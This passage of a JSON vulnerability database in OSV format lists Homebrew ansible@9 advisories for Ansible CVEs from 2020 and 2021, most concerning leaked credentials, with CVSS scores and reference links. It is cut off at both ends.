","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A flaw was found in Ansible 2.7.16 and prior, 2.8.8 and prior, and 2.9.5 and prior when a password is set with the argument \"password\" of svn module, it is used on svn command line, disclosing to other users within the same node. An attacker could take advantage by reading the cmdline file from that particular PID on the procfs.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1739"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67797"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68911"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68912"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68913"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/1a89d4f059c21a818306a39ada7f5284ae125237"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/6c74a298702c8bb5532b9600073312e08f39680f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/c6c4fbf4a1fdea1e10ba94462a60c413990a16a4"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/U3IMV3XEIUXL6S4KPLYYM4TVJQ2VNEP2"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/QT27K5ZRGDPCH7GT3DRI3LO4IVDVQUB7"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/FWDK3QUVBULS3Q3PQTGEKUQYPSNOU5M3"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-11.yaml"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-923p-fr2c-g5m2"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1739"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1740","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-vcg8-98q8-g7mj","CVE-2020-1740","PYSEC-2020-12"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor and Insecure Temporary File in Ansible","details":"A flaw was found in Ansible Engine when using Ansible Vault for editing encrypted files. When a user executes \"ansible-vault edit\", another user on the same computer can read the old and new secret, as it is created in a temporary file with mkstemp and the returned file descriptor is closed and the method write_data is called to write the existing secret in the file. This method will delete the file before recreating it insecurely. All versions in 2.7.x, 2.8.x and 2.9.x branches are believed to be vulnerable.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1740"},{"type":"WEB","url":"https://github.com/ansible/ansible/issues/67798"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/28f9fbdb5e281976e33f443193047068afb97a9b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/2a563514f070a0a8ba64aebf6bce21194be96c73"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/685a4b6d3ff72186d2b4ffce73172a5446a71ccc"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/ef32a5bf96a89107986375516285253c1380d7ef"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1740"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-vcg8-98q8-g7mj"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-12.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2020/05/msg00005.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1746","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-j2h6-73x8-22c4","CVE-2020-1746","PYSEC-2020-13"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Exposure of Sensitive Information to an Unauthorized Actor in ansible","details":"A flaw was found in the Ansible Engine affecting Ansible Engine versions 2.7.x before 2.7.17 and 2.8.x before 2.8.11 and 2.9.x before 2.9.7 as well as Ansible Tower before and including versions 3.4.5 and 3.5.5 and 3.6.3 when the ldap_attr and ldap_entry community modules are used. The issue discloses the LDAP bind password to stdout or a log file if a playbook task is written using the `bind_pw` in the parameters field. The highest threat from this vulnerability is data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1746"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/67866"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d41e38435b1a9e300d8011ac28f16a5add2db119"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e6199d768c1c18a4e750ec78d4ded088629baa3f"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/edd1e1723cc937ec9251adf38c1199a00b0bf6d4"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1746"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-j2h6-73x8-22c4"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-13.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-1753","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-86hp-cj9j-33vv","CVE-2020-1753","PYSEC-2020-210"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File, Invocation of Process Using Visible Sensitive Information, and \tExposure of Sensitive Information to an Unauthorized Actor in Ansible","details":"A security flaw was found in Ansible Engine, all Ansible 2.7.x versions prior to 2.7.17, all Ansible 2.8.x versions prior to 2.8.11 and all Ansible 2.9.x versions prior to 2.9.7, when managing kubernetes using the k8s module. Sensitive parameters such as passwords and tokens are passed to kubectl from the command line, not using an environment variable or an input configuration file. This will disclose passwords and tokens from process list and no_log directive from debug module would not have any effect making these secrets being disclosed on stdout and log files.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-1753"},{"type":"WEB","url":"https://github.com/ansible-collections/kubernetes/pull/51"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/68195"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/04ba05e003b268b83df6c106ba5c0f08548b1380"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/137caed836ef096945086cfe75dc11587b68db3a"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/273d8538dbe5a7b5c9954f1929d3bb00904c43f6"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-1753"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-86hp-cj9j-33vv"},{"type":"PACKAGE","url":"https://github.com/ansible-collections/kubernetes"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-210.yaml"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DKPA4KC3OJSUFASUYMG66HKJE7ADNGFW"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MRRYUU5ZBLPBXCYG6CFP35D64NP2UB2S"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/WQVOQD4VAIXXTVQAJKTN7NUGTJFE2PCB"},{"type":"WEB","url":"https://security.gentoo.org/glsa/202006-11"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2020-25635","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-f556-49jc-4rvc","CVE-2020-25635","PYSEC-2020-220"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"}]},"summary":"Ansible does not collect garbage after playbook run","details":"A flaw was found in Ansible Base when using the aws_ssm connection plugin as its garbage collector is not happening after the playbook run is completed. Files would remain in the bucket exposing the data. This issue directly affects data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2020-25635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/issues/222"},{"type":"WEB","url":"https://github.com/ansible-collections/community.aws/pull/237#issuecomment-1468591094"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2020-25635"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2020-220.yaml"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-20178","published":"2026-08-13T16:35:23Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-wv5p-gmmv-wh9v","CVE-2021-20178","PYSEC-2021-106"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20178"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/pull/1635"},{"type":"WEB","url":"https://github.com/ansible-collections/community.general/commit/1d0c5e2ba47724c31a18d7b08b9daf13df8829dc"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1914774"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-wv5p-gmmv-wh9v"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst#security-fixes%2C"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-106.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/FUQ2QKAQA5OW2TY3ACZZMFIAJ2EQTG37"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/HIU7QZUV73U6ZQ65VJWSFBTCALVXLH55"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-20180","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-fh5v-5f35-2rv2","CVE-2021-20180","PYSEC-2026-618"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.9.18"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible module where credentials are disclosed in the console log by default and not protected by the security feature when using the bitbucket_pipeline_variable module. This flaw allows an attacker to steal bitbucket_pipeline credentials. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20180"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73242"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73243"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1915808"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.8.19/changelogs/CHANGELOG-v2.8.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/blob/v2.9.18/changelogs/CHANGELOG-v2.9.rst"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.7.18/lib/ansible/modules/source_control"},{"type":"WEB","url":"https://github.com/ansible/ansible/tree/v2.8.0a1/lib/ansible/modules/source_control"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-20191","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-8f4m-hccc-8qph","CVE-2021-20191","PYSEC-2021-124"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.7"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Insertion of Sensitive Information into Log File in ansible","details":"A flaw was found in ansible. Credentials, such as secrets, are being disclosed in console log by default and not protected by no_log feature when using those modules. An attacker can take advantage of this information to steal those credentials. The highest threat from this vulnerability is to data confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20191"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73488"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73489"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/cc82d986c40328d4ae81298a9d287c95a6326bb0"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/d74a1b1d1325af2a24848044cf2858987f5a3ecc"},{"type":"WEB","url":"https://access.redhat.com/security/cve/cve-2021-20191"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1916813"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-8f4m-hccc-8qph"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-124.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-20228","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-5rrg-rr89-x9mv","CVE-2021-20228","PYSEC-2021-1"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.10.6rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Ansible Exposes Sensitive Information","details":"A flaw was found in the Ansible Engine prior to 2.10.6rc1, 2.9.18rc1, and 2.8.19rc1, where sensitive info is not masked by default and is not protected by the `no_log` feature when using the sub-option feature of the basic.py module. This flaw allows an attacker to obtain sensitive information. The highest threat from this vulnerability is to confidentiality.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-20228"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73487"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73492"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73493"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/73494"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/49ebd509df9de1c1fc1bcee00e79a835dd00662c"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/e41d1f0a3fd6c466192e7e24accd3d1c6501111b"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/f8ff395d817c3eddc050f809919c15dfb5796120"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1925002"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-5rrg-rr89-x9mv"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-1.yaml"},{"type":"WEB","url":"https://www.debian.org/security/2021/dsa-4950"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-3447","published":"2026-08-13T16:35:23Z","modified":"2026-08-13T16:35:23Z","upstream":["PYSEC-2021-107","CVE-2021-3447"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"1.2.2"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"details":"A flaw was found in several ansible modules, where parameters containing credentials, such as secrets, were being logged in plain-text on managed nodes, as well as being made visible on the controller node when run in verbose mode. These parameters were not protected by the no_log feature. An attacker can take advantage of this information to steal those credentials, provided when they have access to the log files containing them. The highest threat from this vulnerability is to data confidentiality. This flaw affects Red Hat Ansible Automation Platform in versions before 1.2.2 and Ansible Tower in versions before 3.8.2.","references":[{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1939349"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RUTGO4RS4ZXZSPBU2CHVPT75IAFVTTL3/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/2MS4VPUYVLGSAKOX26IT52BSMEZRZ3KS/"},{"type":"WEB","url":"https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/JBZ75MAMVQVZROPYHMRDQKPPVASP63DG/"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-3583","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-2pfh-q76x-gwvm","CVE-2021-3583","PYSEC-2021-358"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"9.13.0_4"}]}],"ecosystem_specific":{"fix":"bump","range_state":"fixed","upstream_fixed_in":"2.11.2rc1"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Debian","name":"ansible","key":"Debian/ansible"},{"strategy":"distro","ecosystem":"PyPI","name":"ansible","subject_version":"9.13.0","key":"upstream:pkg:pypi/ansible@9.13.0"},{"strategy":"distro","ecosystem":"Ubuntu","name":"ansible","key":"Ubuntu/ansible"}]},"summary":"Improper Input Validation and Command Injection in Ansible","details":"A flaw was found in Ansible, where a user's controller is vulnerable to template injection. This issue can occur through facts used in the template if the user is trying to put templates in multi-line YAML strings and the facts being handled do not routinely include special template characters. This flaw allows attackers to perform command injection, which discloses sensitive information. The highest threat from this vulnerability is to confidentiality and integrity.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N"}],"references":[{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2021-3583"},{"type":"WEB","url":"https://github.com/ansible/ansible/pull/74960"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/03aff644cc1c00e1f7551195c68fbd0d13a39e6e"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8aa850e3573e48c9a2f12aef84e8a3a6f5ba4847"},{"type":"WEB","url":"https://github.com/ansible/ansible/commit/8b17e5b9229ffaecfe10a4881bc3f87dd2c184e1"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=1968412"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-2pfh-q76x-gwvm"},{"type":"PACKAGE","url":"https://github.com/ansible/ansible"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ansible/PYSEC-2021-358.yaml"},{"type":"WEB","url":"https://lists.debian.org/debian-lts-announce/2023/12/msg00018.html"}]},{"schema_version":"1.7.3","id":"BREW-ansible@9-CVE-2021-3620","published":"2026-08-13T16:35:22Z","modified":"2026-09-09T23:41:06Z","upstream":["GHSA-4r65-35qq-ch8j","CVE-2021-3620","PYSEC-2022-164"],"affected":[{"package":{"ecosystem":"Homebrew","name":"ansible@9","purl":"pkg:brew/ansible%409"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fix